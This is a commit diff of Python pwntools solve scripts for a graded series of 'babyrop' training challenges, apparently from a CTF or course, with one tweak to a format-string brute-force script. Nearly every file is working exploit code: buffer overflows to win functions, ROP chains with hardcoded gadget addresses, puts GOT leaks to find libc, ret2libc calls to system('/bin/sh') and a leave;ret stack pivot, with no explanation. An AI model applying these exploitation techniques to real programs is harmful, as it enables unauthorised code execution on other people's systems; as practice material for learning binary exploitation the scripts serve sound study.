solve script

random_challs/echoooo/a.py

@@ -10,7 +10,7 @@ libc = target.libc
 def brute():
 	for a in range(1, 256):
 		for b in range(8, 256, 16):
-			r = process()
+			r = process(level="error")
 			partial_ret = (a << 8) | b
 			write = (0x61 - (partial_ret & 0xff)) & 0xff
 			buf = b"%c"*16 + f"%{partial_ret-16}c%hn".encode()

weiss_overlude/babyrop_level_1.0/a.py

@@ -0,0 +1,20 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_1_0
+"""
+
+context.binary = target = ELF("./babyrop_level_1_0", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# buf
+buf = b"A"*120
+buf += p64(target.sym.win)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_1.1/a.py

@@ -0,0 +1,16 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_1_1", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# buf
+buf = b"A"*136
+buf += p64(target.sym.win)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_2.0/a.py

@@ -0,0 +1,21 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_2_0
+"""
+
+context.binary = target = ELF("./babyrop_level_2_0", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# buf
+buf = b"A"*104
+buf += p64(target.sym.win_stage_1)
+buf += p64(target.sym.win_stage_2)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_2.1/a.py

@@ -0,0 +1,17 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_2_1", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# buf
+buf = b"A"*88
+buf += p64(target.sym.win_stage_1)
+buf += p64(target.sym.win_stage_2)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_3.0/a.py

@@ -0,0 +1,32 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_3_0
+"""
+
+context.binary = target = ELF("./babyrop_level_3_0", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = lambda a: p64(0x402c63) + p64(a)
+
+# buf
+buf = b"A"*72
+buf += pop_rdi(1)
+buf += p64(target.sym.win_stage_1)
+buf += pop_rdi(2)
+buf += p64(target.sym.win_stage_2)
+buf += pop_rdi(3)
+buf += p64(target.sym.win_stage_3)
+buf += pop_rdi(4)
+buf += p64(target.sym.win_stage_4)
+buf += pop_rdi(5)
+buf += p64(target.sym.win_stage_5)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_3.1/a.py

@@ -0,0 +1,29 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_3_1", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+ss = lambda a: r.sendlineafter(b": ", a)
+
+# funcs
+pop_rdi = lambda a: p64(0x401e03) + p64(a)
+
+# buf
+buf = b"A"*104
+buf += pop_rdi(1)
+buf += p64(target.sym.win_stage_1)
+buf += pop_rdi(2)
+buf += p64(target.sym.win_stage_2)
+buf += pop_rdi(3)
+buf += p64(target.sym.win_stage_3)
+buf += pop_rdi(4)
+buf += p64(target.sym.win_stage_4)
+buf += pop_rdi(5)
+buf += p64(target.sym.win_stage_5)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_4.0/a.py

@@ -0,0 +1,44 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_4_0
+"""
+
+context.binary = target = ELF("./babyrop_level_4_0", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x401a26
+
+# buf
+buf = b"A"*72
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*72
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_4.1/a.py

@@ -0,0 +1,40 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_4_1", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x401d4e
+
+# buf
+buf = b"A"*56
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*56
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_5.0/a.py

@@ -0,0 +1,44 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_5_0
+"""
+
+context.binary = target = ELF("./babyrop_level_5_0", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x401c60
+
+# buf
+buf = b"A"*88
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*88
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_5.1/a.py

@@ -0,0 +1,40 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_5_1", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x40187e
+
+# buf
+buf = b"A"*136
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*136
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_6.0/a.py

@@ -0,0 +1,44 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_6_0
+"""
+
+context.binary = target = ELF("./babyrop_level_6_0", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x4023cc
+
+# buf
+buf = b"A"*88
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*88
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_6.1/a.py

@@ -0,0 +1,40 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_6_1", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x4014e4
+
+# buf
+buf = b"A"*72
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*72
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_7.0/a.py

@@ -0,0 +1,36 @@
+#!/usr/bin/python3
+
+from pwn import *
+import re
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_7_0
+"""
+
+context.binary = target = ELF("./babyrop_level_7_0", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x402883
+
+# buf
+r.recvuntil(b"[LEAK]")
+system = int(re.findall(r'0x[a-z0-9]+', r.recvlineS())[0], 16)
+log.info("system: %#x", system)
+libc.address = system - libc.sym.system
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+
+# pop
+buf = b"A"*88
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_7.1/a.py

@@ -0,0 +1,32 @@
+#!/usr/bin/python3
+
+from pwn import *
+import re
+
+context.binary = target = ELF("./babyrop_level_7_1", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x401ec3
+
+# buf
+r.recvuntil(b"[LEAK]")
+system = int(re.findall(r'0x[a-z0-9]+', r.recvlineS())[0], 16)
+log.info("system: %#x", system)
+libc.address = system - libc.sym.system
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+
+# pop
+buf = b"A"*104
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_8.0/a.py

@@ -0,0 +1,44 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_8_0
+"""
+
+context.binary = target = ELF("./babyrop_level_8_0", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x4020a3
+
+# buf
+buf = b"A"*40
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*40
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_8.1/a.py

@@ -0,0 +1,40 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_8_1", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x401f63
+
+# buf
+buf = b"A"*104
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*104
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_9.0/a.py

@@ -0,0 +1,50 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_9_0
+"""
+
+context.binary = target = ELF("./babyrop_level_9_0", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rbp = 0x40129d
+leave_ret = 0x4016ab
+pop_rdi = 0x4027d3
+
+# buf
+buf = p64(pop_rbp)
+buf += p64(0x4150e0+0x10)
+buf += p64(leave_ret)
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym._start)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = p64(pop_rbp)
+buf += p64(0x4150e0+0x10)
+buf += p64(leave_ret)
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_9.1/a.py

@@ -0,0 +1,46 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_9_1", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rbp = 0x4011bd
+leave_ret = 0x4021f1
+pop_rdi = 0x402313
+
+# buf
+buf = p64(pop_rbp)
+buf += p64(0x415080+0x10)
+buf += p64(leave_ret)
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym._start)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = p64(pop_rbp)
+buf += p64(0x415080+0x10)
+buf += p64(leave_ret)
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()